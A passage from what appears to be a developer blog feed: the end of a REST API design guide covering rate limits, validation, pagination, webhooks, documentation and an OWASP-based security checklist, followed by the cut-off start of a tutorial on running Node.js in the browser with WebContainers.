RateLimit-Remaining: 67
RateLimit-Reset: 1679529600

HTTP/1.1 429 Too Many Requests
RateLimit-Limit: 100
RateLimit-Remaining: 0
RateLimit-Reset: 1679529600
Retry-After: 30

Tiered Rate Limits

Different clients get different limits. This is how Stripe, GitHub, and every serious API works.

const tierLimits = {
  free:       { windowMs: 60000, max: 20 },
  starter:    { windowMs: 60000, max: 100 },
  pro:        { windowMs: 60000, max: 1000 },
  enterprise: { windowMs: 60000, max: 10000 },
};

const dynamicRateLimit = async (req, res, next) => {
  const client = req.apiClient; // Set by auth middleware
  const tier = client?.tier || 'free';
  const limits = tierLimits[tier];

  const key = `ratelimit:${client?.id || req.ip}`;
  const current = await redis.incr(key);

  if (current === 1) {
    await redis.pexpire(key, limits.windowMs);
  }

  res.set('RateLimit-Limit', limits.max);
  res.set('RateLimit-Remaining', Math.max(0, limits.max - current));

  if (current > limits.max) {
    throw new RateLimitError(Math.ceil(limits.windowMs / 1000));
  }

  next();
};

Input Validation

Never trust client input. Validate everything, fail fast, and return clear errors.

Zod — The Modern Choice

Zod gives you TypeScript-first validation with excellent error messages.

import { z } from 'zod';

// Define a schema
const createUserSchema = z.object({
  name: z
    .string()
    .min(2, 'Name must be at least 2 characters')
    .max(100, 'Name must be under 100 characters'),
  email: z
    .string()
    .email('Must be a valid email address'),
  age: z
    .number()
    .int('Age must be a whole number')
    .min(13, 'Must be at least 13 years old')
    .max(150, 'Invalid age'),
  role: z
    .enum(['user', 'admin', 'moderator'])
    .default('user'),
  preferences: z.object({
    newsletter: z.boolean().default(false),
    theme: z.enum(['light', 'dark']).default('light'),
  }).optional(),
});

// Validation middleware factory
const validate = (schema) => (req, res, next) => {
  const result = schema.safeParse(req.body);

  if (!result.success) {
    const errors = result.error.issues.map(issue => ({
      field: issue.path.join('.'),
      message: issue.message,
      code: issue.code,
    }));
    throw new ValidationError(errors);
  }

  req.validatedBody = result.data; // Use parsed data (with defaults applied)
  next();
};

// Usage in routes
app.post('/users', validate(createUserSchema), async (req, res) => {
  // req.validatedBody is guaranteed to be valid
  const user = await db.users.create(req.validatedBody);
  res.status(201).json(user);
});

Validation for Query Parameters

Don't forget to validate query params too:

const listUsersQuery = z.object({
  page: z.coerce.number().int().min(1).default(1),
  limit: z.coerce.number().int().min(1).max(100).default(20),
  sort: z.enum(['name', 'created_at', 'email']).default('created_at'),
  order: z.enum(['asc', 'desc']).default('desc'),
  role: z.enum(['user', 'admin', 'moderator']).optional(),
  search: z.string().max(200).optional(),
});

const validateQuery = (schema) => (req, res, next) => {
  const result = schema.safeParse(req.query);
  if (!result.success) {
    const errors = result.error.issues.map(issue => ({
      field: issue.path.join('.'),
      message: issue.message,
    }));
    throw new ValidationError(errors);
  }
  req.validatedQuery = result.data;
  next();
};

app.get('/users', validateQuery(listUsersQuery), async (req, res) => {
  const { page, limit, sort, order, role, search } = req.validatedQuery;
  // All values are validated and typed
});

Filtering, Sorting, and Pagination

Any API that returns lists needs these three. Get them right from day one — retrofitting pagination into an API is painful.

Pagination: Cursor vs Offset

OFFSET PAGINATION:
  GET /users?page=3&limit=20
  -> Skip 40, take 20

  Pros: Simple, jump to any page
  Cons: Slow on large datasets, inconsistent if data changes

  Page 1: [1,  2,  3,  ..., 20 ]
  Page 2: [21, 22, 23, ..., 40 ]  <- If item 5 is deleted,
  Page 3: [41, 42, 43, ..., 60 ]     page 2 shifts and you miss item 21


CURSOR PAGINATION:
  GET /users?limit=20
  GET /users?limit=20&cursor=eyJpZCI6MjB9

  Pros: Consistent, fast on large datasets
  Cons: Can't jump to page N, slightly more complex

  First:  [1,  2,  3,  ..., 20 ]  cursor -> "20"
  Next:   [21, 22, 23, ..., 40 ]  cursor -> "40"
  Next:   [41, 42, 43, ..., 60 ]  cursor -> "60"
  (Stable regardless of inserts/deletes)

Offset Pagination Implementation

app.get('/users', async (req, res) => {
  const page = Math.max(1, parseInt(req.query.page) || 1);
  const limit = Math.min(100, Math.max(1, parseInt(req.query.limit) || 20));
  const offset = (page - 1) * limit;

  const [users, total] = await Promise.all([
    db.users.findMany({ skip: offset, take: limit }),
    db.users.count(),
  ]);

  res.json({
    data: users,
    meta: {
      total,
      page,
      per_page: limit,
      total_pages: Math.ceil(total / limit),
      has_next: page * limit < total,
      has_prev: page > 1,
    },
  });
});

// Response:
{
  "data": [...],
  "meta": {
    "total": 245,
    "page": 3,
    "per_page": 20,
    "total_pages": 13,
    "has_next": true,
    "has_prev": true
  }
}

Cursor Pagination Implementation

app.get('/users', async (req, res) => {
  const limit = Math.min(100, parseInt(req.query.limit) || 20);
  const cursor = req.query.cursor
    ? JSON.parse(Buffer.from(req.query.cursor, 'base64url').toString())
    : null;

  const where = cursor ? { id: { gt: cursor.id } } : {};

  const users = await db.users.findMany({
    where,
    take: limit + 1, // Fetch one extra to check if there's a next page
    orderBy: { id: 'asc' },
  });

  const hasNext = users.length > limit;
  if (hasNext) users.pop(); // Remove the extra item

  const nextCursor = hasNext
    ? Buffer.from(JSON.stringify({ id: users[users.length - 1].id }))
        .toString('base64url')
    : null;

  res.json({
    data: users,
    meta: {
      has_next: hasNext,
      next_cursor: nextCursor,
    },
  });
});

// Response:
{
  "data": [...],
  "meta": {
    "has_next": true,
    "next_cursor": "eyJpZCI6NDB9"
  }
}

Filtering and Sorting

app.get('/products', async (req, res) => {
  const {
    category,           // ?category=electronics
    min_price,          // ?min_price=100
    max_price,          // ?max_price=500
    in_stock,           // ?in_stock=true
    sort = 'created_at', // ?sort=price or ?sort=-price (descending)
  } = req.query;

  // Build filter object dynamically
  const where = {};
  if (category)  where.category = category;
  if (in_stock)  where.inStock = in_stock === 'true';
  if (min_price) where.price = { ...where.price, gte: parseFloat(min_price) };
  if (max_price) where.price = { ...where.price, lte: parseFloat(max_price) };

  // Parse sort: "-price" means descending
  const sortField = sort.startsWith('-') ? sort.slice(1) : sort;
  const sortOrder = sort.startsWith('-') ? 'desc' : 'asc';

  const products = await db.products.findMany({
    where,
    orderBy: { [sortField]: sortOrder },
  });

  res.json({ data: products });
});

// Usage:
// GET /products?category=electronics&min_price=100&sort=-price&in_stock=true

When to Use Which Pagination

Scenario	Use
Admin dashboard with "go to page 5"	Offset
Infinite scroll feed	Cursor
Real-time data (social feeds, logs)	Cursor
Small dataset (< 10k rows)	Either works
Large dataset (millions of rows)	Cursor (offset gets slow)

Bulk Operations

Sometimes clients need to create, update, or delete many resources at once. Don't make them call your API 500 times.

Batch Endpoints

// Batch create
POST /users/batch
{
  "items": [
    { "name": "Alice", "email": "alice@example.com" },
    { "name": "Bob", "email": "bob@example.com" },
    { "name": "Charlie", "email": "invalid-email" }
  ]
}

// Response — report per-item results
{
  "results": [
    { "index": 0, "status": "created", "data": { "id": 501, "name": "Alice" } },
    { "index": 1, "status": "created", "data": { "id": 502, "name": "Bob" } },
    { "index": 2, "status": "failed", "error": { "field": "email", "message": "Invalid email" } }
  ],
  "summary": {
    "total": 3,
    "succeeded": 2,
    "failed": 1
  }
}

Async Processing for Large Jobs

For operations that take too long for a synchronous response, use the async job pattern.

// Client kicks off a large import
POST /imports
{
  "type": "users",
  "file_url": "https://storage.example.com/users.csv"
}

// Server returns immediately with a job ID
// 202 Accepted
{
  "job_id": "job_abc123",
  "status": "queued",
  "status_url": "/jobs/job_abc123",
  "estimated_duration": "2-5 minutes"
}

// Client polls for status
GET /jobs/job_abc123
{
  "job_id": "job_abc123",
  "status": "processing",     // queued | processing | completed | failed
  "progress": {
    "total": 5000,
    "processed": 3247,
    "failed": 12,
    "percent": 64.9
  },
  "created_at": "2026-03-15T10:00:00Z",
  "updated_at": "2026-03-15T10:02:15Z"
}

// When complete:
GET /jobs/job_abc123
{
  "job_id": "job_abc123",
  "status": "completed",
  "result": {
    "total": 5000,
    "imported": 4988,
    "failed": 12,
    "errors_url": "/jobs/job_abc123/errors"
  }
}

Client                    API Server               Job Queue
  |                          |                          |
  |--POST /imports---------->|                          |
  |                          |--Enqueue job------------>|
  |<--202 { job_id }--------|                          |
  |                          |                          |
  |--GET /jobs/abc123------->|                          |
  |<--{ status: processing }-|                          |
  |                          |          Worker picks up |
  |   ... wait ...           |          and processes   |
  |                          |                          |
  |--GET /jobs/abc123------->|                          |
  |<--{ status: completed }--|                          |

Webhooks

Webhooks are the flip side of APIs — instead of clients calling you, you call them when something interesting happens.

Sending Webhooks

// Webhook dispatcher
class WebhookDispatcher {
  async send(event, payload, webhookUrl, secret) {
    const body = JSON.stringify({
      id: crypto.randomUUID(),
      event,
      created_at: new Date().toISOString(),
      data: payload,
    });

    // Sign the payload so receivers can verify it's from you
    const signature = crypto
      .createHmac('sha256', secret)
      .update(body)
      .digest('hex');

    const response = await fetch(webhookUrl, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'X-Webhook-Signature': `sha256=${signature}`,
        'X-Webhook-Event': event,
        'X-Webhook-Delivery': crypto.randomUUID(),
      },
      body,
      signal: AbortSignal.timeout(10000), // 10s timeout
    });

    return { status: response.status, success: response.ok };
  }
}

// Usage
const dispatcher = new WebhookDispatcher();
await dispatcher.send(
  'order.completed',
  { order_id: 456, total: 99.99, customer_id: 123 },
  'https://client-app.com/webhooks',
  'whsec_abc123'
);

Retry Logic with Exponential Backoff

async sendWithRetry(event, payload, webhookUrl, secret, maxRetries = 5) {
  for (let attempt = 0; attempt <= maxRetries; attempt++) {
    try {
      const result = await this.send(event, payload, webhookUrl, secret);

      if (result.success) return result;

      // 4xx errors (except 429) — don't retry, client's problem
      if (result.status >= 400 && result.status < 500 && result.status !== 429) {
        return result;
      }
    } catch (err) {
      // Network error, timeout, etc.
    }

    if (attempt < maxRetries) {
      // Exponential backoff: 1s, 2s, 4s, 8s, 16s
      const delay = Math.pow(2, attempt) * 1000;
      await new Promise(resolve => setTimeout(resolve, delay));
    }
  }

  // All retries exhausted — mark webhook as failing
  await this.markFailing(webhookUrl);
}

Receiving and Verifying Webhooks

// On the receiving end — verify the signature
app.post('/webhooks/stripe', express.raw({ type: 'application/json' }), (req, res) => {
  const signature = req.headers['x-webhook-signature'];
  const expectedSignature = 'sha256=' + crypto
    .createHmac('sha256', process.env.WEBHOOK_SECRET)
    .update(req.body)
    .digest('hex');

  if (!crypto.timingSafeEqual(
    Buffer.from(signature),
    Buffer.from(expectedSignature)
  )) {
    return res.status(401).json({ error: 'Invalid signature' });
  }

  const event = JSON.parse(req.body);
  // Process the event...

  // Always respond 200 quickly — do heavy processing async
  res.status(200).json({ received: true });
});

HATEOAS and Hypermedia

HATEOAS (Hypermedia as the Engine of Application State) is the idea that API responses include links to related actions and resources. It makes APIs self-discoverable.

What It Looks Like

// Without HATEOAS — client must hardcode URLs
{
  "id": 123,
  "name": "Alex",
  "status": "active"
}

// With HATEOAS — response tells client what it can do next
{
  "id": 123,
  "name": "Alex",
  "status": "active",
  "_links": {
    "self":    { "href": "/users/123", "method": "GET" },
    "update":  { "href": "/users/123", "method": "PATCH" },
    "delete":  { "href": "/users/123", "method": "DELETE" },
    "orders":  { "href": "/users/123/orders", "method": "GET" },
    "suspend": { "href": "/users/123/actions/suspend", "method": "POST" }
  }
}

// For a suspended user — different links available
{
  "id": 123,
  "name": "Alex",
  "status": "suspended",
  "_links": {
    "self":      { "href": "/users/123", "method": "GET" },
    "reactivate": { "href": "/users/123/actions/reactivate", "method": "POST" }
    // No update, delete, or suspend links — not available in this state
  }
}

When Does HATEOAS Matter?

Honestly? For most APIs, it doesn't. HATEOAS matters when:

You're building a truly public API used by many third-party clients
Your API has complex state machines where available actions change based on state
You want clients to be resilient to URL changes

For internal APIs or simple CRUD, don't over-engineer it. Just document your endpoints well.

API Documentation

The best-designed API is useless if nobody can figure out how to use it.

OpenAPI/Swagger

OpenAPI is the industry standard for describing REST APIs. Write it, and you get interactive docs, client generation, and validation for free.

# openapi.yaml
openapi: 3.0.3
info:
  title: Users API
  version: 1.0.0
  description: User management endpoints

paths:
  /users:
    get:
      summary: List all users
      parameters:
        - name: page
          in: query
          schema:
            type: integer
            default: 1
        - name: limit
          in: query
          schema:
            type: integer
            default: 20
            maximum: 100
      responses:
        '200':
          description: Paginated list of users
          content:
            application/json:
              schema:
                type: object
                properties:
                  data:
                    type: array
                    items:
                      $ref: '#/components/schemas/User'
                  meta:
                    $ref: '#/components/schemas/PaginationMeta'

    post:
      summary: Create a user
      requestBody:
        required: true
        content:
          application/json:
            schema:
              $ref: '#/components/schemas/CreateUser'
      responses:
        '201':
          description: User created

components:
  schemas:
    User:
      type: object
      properties:
        id:
          type: integer
        name:
          type: string
        email:
          type: string
          format: email

Auto-Generation from Code

With tools like swagger-jsdoc, you can keep docs next to your code:

/**
 * @openapi
 * /users/{id}:
 *   get:
 *     summary: Get a user by ID
 *     parameters:
 *       - in: path
 *         name: id
 *         required: true
 *         schema:
 *           type: integer
 *     responses:
 *       200:
 *         description: User found
 *       404:
 *         description: User not found
 */
app.get('/users/:id', getUser);

Documentation Checklist

[ ] Every endpoint documented with description
[ ] Request/response examples for every endpoint
[ ] Error response examples
[ ] Authentication requirements explained
[ ] Rate limit information included
[ ] Pagination explained with examples
[ ] Runnable in Postman or similar tools
[ ] Changelog for API versions

API Security Checklist

Security is not optional. Here's your checklist, aligned with the OWASP API Security Top 10.

The Essentials

import helmet from 'helmet';
import cors from 'cors';
import hpp from 'hpp';
import mongoSanitize from 'express-mongo-sanitize';

const app = express();

// 1. Security headers
app.use(helmet());

// 2. CORS — be explicit, never use wildcard in production
app.use(cors({
  origin: ['https://myapp.com', 'https://admin.myapp.com'],
  methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400,
}));

// 3. Body size limits — prevent payload attacks
app.use(express.json({ limit: '10kb' }));

// 4. Prevent HTTP parameter pollution
app.use(hpp());

// 5. Sanitize input against NoSQL injection
app.use(mongoSanitize());

// 6. Rate limiting (covered above)
app.use('/api/', apiLimiter);

OWASP API Security Top 10 Quick Reference

#	Risk	Mitigation
1	Broken Object-Level Auth	Always verify resource ownership
2	Broken Authentication	Strong password policy, MFA, short-lived tokens
3	Broken Object Property-Level Auth	Whitelist fields, never return everything from DB
4	Unrestricted Resource Consumption	Rate limits, pagination limits, payload size limits
5	Broken Function-Level Auth	RBAC middleware, check permissions per endpoint
6	Unrestricted Access to Sensitive Flows	CAPTCHA, rate limit on sensitive operations
7	Server-Side Request Forgery (SSRF)	Validate/sanitize URLs, allowlist external calls
8	Security Misconfiguration	Disable debug in prod, review CORS, use helmet
9	Improper Inventory Management	Document all endpoints, deprecate unused ones
10	Unsafe Consumption of APIs	Validate data from third-party APIs too

Authorization Middleware Pattern

// Role-based access control
const requireRole = (...roles) => (req, res, next) => {
  if (!req.user) {
    throw new UnauthorizedError();
  }
  if (!roles.includes(req.user.role)) {
    throw new ForbiddenError(`Requires one of: ${roles.join(', ')}`);
  }
  next();
};

// Object-level authorization — CRITICAL
const requireOwnership = (resourceFetcher) => async (req, res, next) => {
  const resource = await resourceFetcher(req);
  if (!resource) {
    throw new NotFoundError('Resource', req.params.id);
  }
  if (resource.userId !== req.user.id && req.user.role !== 'admin') {
    throw new ForbiddenError('You do not own this resource');
  }
  req.resource = resource;
  next();
};

// Usage
app.delete('/orders/:id',
  authenticateJWT,
  requireOwnership((req) => db.orders.findById(req.params.id)),
  async (req, res) => {
    await db.orders.delete(req.resource.id);
    res.status(204).end();
  }
);

app.get('/admin/users',
  authenticateJWT,
  requireRole('admin'),
  listAllUsers
);

Bad vs Good API Patterns

Let's put it all together with side-by-side comparisons.

URL Design

BAD                              GOOD
----                             ----
GET /getAllUsers                  GET /users
POST /createNewUser              POST /users
GET /getUserById?id=123          GET /users/123
POST /deleteUser                 DELETE /users/123
GET /getOrdersForUser/123        GET /users/123/orders
POST /user/update                PATCH /users/123

Error Responses

// BAD — Unhelpful error
{
  "error": true,
  "message": "Bad Request"
}

// GOOD — Actionable error with context
{
  "type": "https://api.example.com/errors/validation",
  "title": "Validation Error",
  "status": 422,
  "detail": "Request validation failed for 2 fields",
  "errors": [
    { "field": "email", "message": "Must be a valid email", "value": "notanemail" },
    { "field": "age", "message": "Must be at least 13", "value": 5 }
  ]
}

Pagination

// BAD — No pagination info, no way to know total
{
  "users": [...]
}

// GOOD — Complete pagination metadata
{
  "data": [...],
  "meta": {
    "total": 1532,
    "page": 2,
    "per_page": 20,
    "total_pages": 77,
    "has_next": true,
    "has_prev": true
  }
}

Authentication Errors

// BAD — Same vague error for everything
{
  "error": "Access denied"
}

// GOOD — Distinguish between auth issues
// No token:
{
  "status": 401,
  "title": "Unauthorized",
  "detail": "Authentication required. Provide a Bearer token."
}

// Valid token, wrong permissions:
{
  "status": 403,
  "title": "Forbidden",
  "detail": "Your role 'editor' cannot access admin endpoints."
}

Response Shapes

// BAD — Inconsistent responses across endpoints
// GET /users returns:
[{ "user_name": "Alex" }]

// GET /products returns:
{ "result": [{ "productName": "Laptop" }] }

// GOOD — Same envelope everywhere
// GET /users returns:
{ "data": [{ "name": "Alex" }], "meta": { "total": 100 } }

// GET /products returns:
{ "data": [{ "name": "Laptop" }], "meta": { "total": 50 } }

Putting It All Together — Express.js Example

Here's a production-ready Express.js API skeleton that incorporates every pattern we've discussed.

// app.js
import express from 'express';
import helmet from 'helmet';
import cors from 'cors';
import rateLimit from 'express-rate-limit';
import { z } from 'zod';

const app = express();

// ==================== MIDDLEWARE ====================

app.use(helmet());
app.use(cors({ origin: process.env.ALLOWED_ORIGINS?.split(',') }));
app.use(express.json({ limit: '10kb' }));

// Rate limiting
app.use('/api/', rateLimit({
  windowMs: 60 * 1000,
  max: 100,
  standardHeaders: true,
  legacyHeaders: false,
}));

// ==================== ERROR CLASSES ====================

class AppError extends Error {
  constructor(message, statusCode, code) {
    super(message);
    this.statusCode = statusCode;
    this.code = code;
    this.isOperational = true;
  }
}

class NotFoundError extends AppError {
  constructor(resource, id) {
    super(`${resource} with id '${id}' not found`, 404, 'NOT_FOUND');
  }
}

class ValidationError extends AppError {
  constructor(errors) {
    super('Validation failed', 422, 'VALIDATION_ERROR');
    this.errors = errors;
  }
}

// ==================== VALIDATION ====================

const createUserSchema = z.object({
  name: z.string().min(2).max(100),
  email: z.string().email(),
  role: z.enum(['user', 'admin']).default('user'),
});

const paginationSchema = z.object({
  page: z.coerce.number().int().min(1).default(1),
  limit: z.coerce.number().int().min(1).max(100).default(20),
  sort: z.string().default('-created_at'),
});

const validate = (schema, source = 'body') => (req, res, next) => {
  const result = schema.safeParse(req[source]);
  if (!result.success) {
    const errors = result.error.issues.map(i => ({
      field: i.path.join('.'),
      message: i.message,
    }));
    throw new ValidationError(errors);
  }
  req.validated = result.data;
  next();
};

// ==================== ROUTES ====================

const router = express.Router();

// List users with pagination, filtering, sorting
router.get('/users', validate(paginationSchema, 'query'), async (req, res) => {
  const { page, limit, sort } = req.validated;
  const offset = (page - 1) * limit;

  // Parse sort: "-created_at" -> { field: "created_at", order: "desc" }
  const sortField = sort.startsWith('-') ? sort.slice(1) : sort;
  const sortOrder = sort.startsWith('-') ? 'desc' : 'asc';

  const [users, total] = await Promise.all([
    db.users.findMany({
      skip: offset,
      take: limit,
      orderBy: { [sortField]: sortOrder },
    }),
    db.users.count(),
  ]);

  res.json({
    data: users,
    meta: {
      total,
      page,
      per_page: limit,
      total_pages: Math.ceil(total / limit),
      has_next: page * limit < total,
      has_prev: page > 1,
    },
  });
});

// Get single user
router.get('/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  if (!user) throw new NotFoundError('User', req.params.id);
  res.json({ data: user });
});

// Create user
router.post('/users', validate(createUserSchema), async (req, res) => {
  const user = await db.users.create(req.validated);
  res
    .status(201)
    .location(`/api/v1/users/${user.id}`)
    .json({ data: user });
});

// Update user
router.patch('/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  if (!user) throw new NotFoundError('User', req.params.id);

  const updated = await db.users.update(req.params.id, req.body);
  res.json({ data: updated });
});

// Delete user
router.delete('/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  if (!user) throw new NotFoundError('User', req.params.id);

  await db.users.delete(req.params.id);
  res.status(204).end();
});

// Mount versioned routes
app.use('/v1', router);

// ==================== ERROR HANDLER ====================

app.use((err, req, res, next) => {
  if (err.isOperational) {
    const response = {
      type: `https://api.example.com/errors/${err.code.toLowerCase()}`,
      title: err.code.replace(/_/g, ' '),
      status: err.statusCode,
      detail: err.message,
      instance: req.originalUrl,
    };
    if (err.errors) response.errors = err.errors;
    return res.status(err.statusCode).json(response);
  }

  console.error(err);
  res.status(500).json({
    type: 'https://api.example.com/errors/internal',
    title: 'Internal Server Error',
    status: 500,
    detail: 'An unexpected error occurred',
  });
});

app.listen(3000, () => console.log('API running on port 3000'));

Decision Framework

Not sure which approach to pick? Use this cheatsheet.

Decision	Default Choice	Consider Alternative When
Pagination	Cursor-based	Small dataset, need "jump to page N" -> Offset
Auth	JWT Bearer Tokens	Server-to-server -> API Keys; Third party -> OAuth
Versioning	URL path `/v1/`	Internal-only API -> Headers
Response format	JSON with envelope	Need streaming -> NDJSON; Need efficiency -> Protobuf
IDs	UUIDs	Need ordering -> ULID; Human-readable -> Nanoid
Validation	Zod	Already in Joi/Hapi ecosystem -> Joi
Docs	OpenAPI + SwaggerUI	Simple internal -> Markdown is fine
Rate limiting	Sliding window	Need burst tolerance -> Token bucket
Bulk operations	Batch endpoint	Very large (>1000) -> Async job queue
Error format	RFC 7807	Already have a standard in org -> use that

The API Design Checklist

Before you ship, walk through this:

[ ] URLs — Nouns, plural, kebab-case, max 2 nesting levels
[ ] Methods — Correct HTTP method for each operation
[ ] Status codes — Right code for every scenario (not just 200/500)
[ ] Validation — Every input validated, clear field-level errors
[ ] Auth — Every endpoint has appropriate authentication
[ ] Authorization — Object-level access control (not just role checks)
[ ] Pagination — Every list endpoint is paginated
[ ] Rate limiting — Enforced with proper headers
[ ] Errors — Consistent format, actionable messages
[ ] Versioning — Strategy in place before v1 ships
[ ] Docs — OpenAPI spec, examples for every endpoint
[ ] Security — Helmet, CORS, input limits, OWASP top 10 covered
[ ] Idempotency — POST endpoints support idempotency keys
[ ] Logging — Request IDs, structured logs for debugging

Build APIs like you're the one who has to consume them at 2 AM during an outage. Be kind to your future self.

Let's Connect!

If you found this guide helpful, I'd love to connect with you! I regularly share deep dives on system design, backend engineering, and software architecture.

Connect with me on LinkedIn — let's grow together.

Drop a comment, share this with someone who needs this, and follow along for more guides like this!

WebContainers 101: Run Node.js in the Browser — The Ultimate Guide to In-Browser Development Environments

Ishaan Pandey — Sat, 21 Mar 2026 11:30:23 +0000

WebContainers 101: Run Node.js in the Browser — The Ultimate Guide to In-Browser Development Environments

Here's something that would have sounded absurd a few years ago: you can run a full Node.js environment — complete with npm, a filesystem, and a dev server — entirely inside your browser tab. No Docker container spinning up on some remote server. No SSH connection. No cloud VM. Just your browser.

That's what WebContainers do, and they're quietly changing how we think about development environments, interactive tutorials, and coding education.

Let's break down exactly how they work, what you can build with them, and where they fall short.

What Are WebContainers?

WebContainers are a WebAssembly-based operating system that runs inside the browser. They provide a near-complete Node.js runtime environment — including a filesystem, process management, and networking — all within the browser's security sandbox.

The simplest way to think about it:

Traditional Development:
  Your Code → Local OS → Node.js → npm → Dev Server → Browser

WebContainers:
  Your Code → Browser Tab → WebAssembly OS → Node.js → npm → Preview (same browser)

Everything that used to require your local machine (or a cloud VM) now runs in a browser tab. The filesystem is virtual. The processes are virtual. But the Node.js execution is real.

How WebContainers Work Under the Hood

This is where things get interesting. Let's peel back the layers.

The Architecture Stack

┌──────────────────────────────────────────────────────────┐
│                     BROWSER TAB                          │
│                                                          │
│  ┌────────────────────────────────────────────────────┐  │
│  │              YOUR APPLICATION                      │  │
│  │    (Editor UI, Terminal, Preview Pane)              │  │
│  ├────────────────────────────────────────────────────┤  │
│  │           WEBCONTAINER API                         │  │
│  │    boot(), mount(), spawn(), fs.readFile()...      │  │
│  ├────────────────────────────────────────────────────┤  │
│  │          NODE.JS RUNTIME (WASM)                    │  │
│  │    Executes JS/TS, runs npm scripts                │  │
│  ├────────────────────────────────────────────────────┤  │
│  │        VIRTUAL OPERATING SYSTEM                    │  │
│  │  ┌──────────┐ ┌───────────┐ ┌──────────────────┐  │  │
│  │  │ Virtual  │ │  Process  │ │    Networking     │  │  │
│  │  │ File     │ │  Manager  │ │    Stack          │  │  │
│  │  │ System   │ │ (spawn,   │ │ (HTTP via Service │  │  │
│  │  │ (in-mem) │ │  signals, │ │  Worker intercept)│  │  │
│  │  │          │ │  pipes)   │ │                   │  │  │
│  │  └──────────┘ └───────────┘ └──────────────────┘  │  │
│  ├────────────────────────────────────────────────────┤  │
│  │           WEBASSEMBLY LAYER                        │  │
│  │    Compiled OS primitives running in WASM sandbox  │  │
│  ├────────────────────────────────────────────────────┤  │
│  │         BROWSER APIS (used underneath)             │  │
│  │    SharedArrayBuffer, Service Workers,             │  │
│  │    Web Workers, OPFS, MessageChannel               │  │
│  └────────────────────────────────────────────────────┘  │
└──────────────────────────────────────────────────────────┘

Key Components

1. WebAssembly-Based OS Kernel

The core of WebContainers is a lightweight operating system compiled to WebAssembly. It provides:

POSIX-like process management (spawn, kill, signals)
A virtual filesystem (VFS) stored in memory (and optionally synced to Origin Private File System)
Pipe and IPC mechanisms between processes

2. Virtual Filesystem

The filesystem lives entirely in browser memory. When you "write" a file, it's stored in an in-memory data structure. There's no disk I/O — which actually makes it fast for many operations.

Virtual FS in memory:
/
├── package.json          ← mounted by your code
├── node_modules/         ← created by npm install (in-browser!)
│   ├── express/
│   ├── react/
│   └── ...
├── src/
│   ├── index.js
│   └── App.jsx
└── .env

3. Networking via Service Workers

This is clever. When your in-browser Node.js server "listens" on a port, WebContainers intercept HTTP requests using a Service Worker. The request never leaves the browser — it's routed from the preview iframe to the virtual server through the Service Worker.

┌──────────────┐     HTTP request     ┌──────────────────┐
│  Preview     │ ──────────────────►  │  Service Worker   │
│  iframe      │                      │  (intercepts req) │
│  (localhost) │  ◄──────────────────  │                   │
│              │     HTTP response     │  Routes to WASM   │
└──────────────┘                      │  Node.js server   │
                                      └──────────────────┘

No actual TCP sockets are opened. No actual ports are bound. It's all happening inside the browser's JavaScript execution context.

4. npm in the Browser

Yes, npm install actually runs inside the browser. WebContainers include a package manager (Turbo, their optimized npm-compatible package manager) that:

Resolves dependencies from the npm registry
Downloads tarballs via fetch()
Extracts them into the virtual filesystem
Runs install scripts (with some limitations)

StackBlitz — The Company Behind WebContainers

WebContainers were created by StackBlitz, an online IDE company. They open-sourced the WebContainer API in 2023, allowing anyone to build browser-based dev environments.

StackBlitz uses WebContainers to power:

StackBlitz Editor — Their full online IDE (think VS Code in the browser, but running locally in your tab)
bolt.new — An AI-powered development tool that generates, runs, and previews full-stack apps entirely in the browser
Web Publisher — A CMS-like editing experience for web projects

The key insight that led to WebContainers: cloud-based IDEs (like the original Cloud9, Gitpod, Codespaces) require a server for every user session. That's expensive to run, slow to start, and introduces latency. What if you could run the entire environment client-side?

WebContainer API Deep Dive

Let's get into the actual API. The @webcontainer/api package is your interface to this whole system.

Installation

npm install @webcontainer/api

Important: Required Headers

WebContainers need SharedArrayBuffer, which requires specific HTTP headers (due to Spectre mitigations):

Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin

Without these headers, SharedArrayBuffer is unavailable and WebContainers won't boot. If you're using Vite for your host app:

// vite.config.ts
import { defineConfig } from 'vite';

export default defineConfig({
  server: {
    headers: {
      'Cross-Origin-Embedder-Policy': 'require-corp',
      'Cross-Origin-Opener-Policy': 'same-origin',
    },
  },
});

Booting a WebContainer

import { WebContainer } from '@webcontainer/api';

// Only one WebContainer instance per page
let webcontainer: WebContainer;

async function bootContainer() {
  // Boot the WebContainer — this loads the WASM OS
  webcontainer = await WebContainer.boot();
  console.log('WebContainer booted successfully');
  return webcontainer;
}

Mounting a Filesystem

You define your project's files as a tree structure and mount them:

import { FileSystemTree } from '@webcontainer/api';

const projectFiles: FileSystemTree = {
  'package.json': {
    file: {
      contents: JSON.stringify({
        name: 'my-app',
        type: 'module',
        scripts: {
          dev: 'vite',
          build: 'vite build',
        },
        dependencies: {
          react: '^18.2.0',
          'react-dom': '^18.2.0',
        },
        devDependencies: {
          vite: '^5.0.0',
          '@vitejs/plugin-react': '^4.0.0',
        },
      }, null, 2),
    },
  },
  'index.html': {
    file: {
      contents: `<!DOCTYPE html>
<html lang="en">
  <head><meta charset="UTF-8" /><title>My App</title></head>
  <body>
    <div id="root"></div>
    <script type="module" src="/src/main.jsx"></script>
  </body>
</html>`,
    },
  },
  src: {
    directory: {
      'main.jsx': {
        file: {
          contents: `import React from 'react';
import { createRoot } from 'react-dom/client';
import App from './App.jsx';

createRoot(document.getElementById('root')).render(<App />);`,
        },
      },
      'App.jsx': {
        file: {
          contents: `import React, { useState } from 'react';

export default function App() {
  const [count, setCount] = useState(0);
  return (
    <div style={{ padding: 20, fontFamily: 'sans-serif' }}>
      <h1>Hello from WebContainers!</h1>
      <p>Count: {count}</p>
      <button onClick={() => setCount(c => c + 1)}>Increment</button>
    </div>
  );
}`,
        },
      },
    },
  },
  'vite.config.js': {
    file: {
      contents: `import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';

export default defineConfig({
  plugins: [react()],
});`,
    },
  },
};

// Mount the files
await webcontainer.mount(projectFiles);

Running npm install

async function installDependencies() {
  // Spawn the install process
  const install = await webcontainer.spawn('npm', ['install']);

  // Stream output to the console (or a terminal UI)
  install.output.pipeTo(
    new WritableStream({
      write(chunk) {
        console.log(chunk);
      },
    })
  );

  // Wait for it to complete
  const exitCode = await install.exit;

  if (exitCode !== 0) {
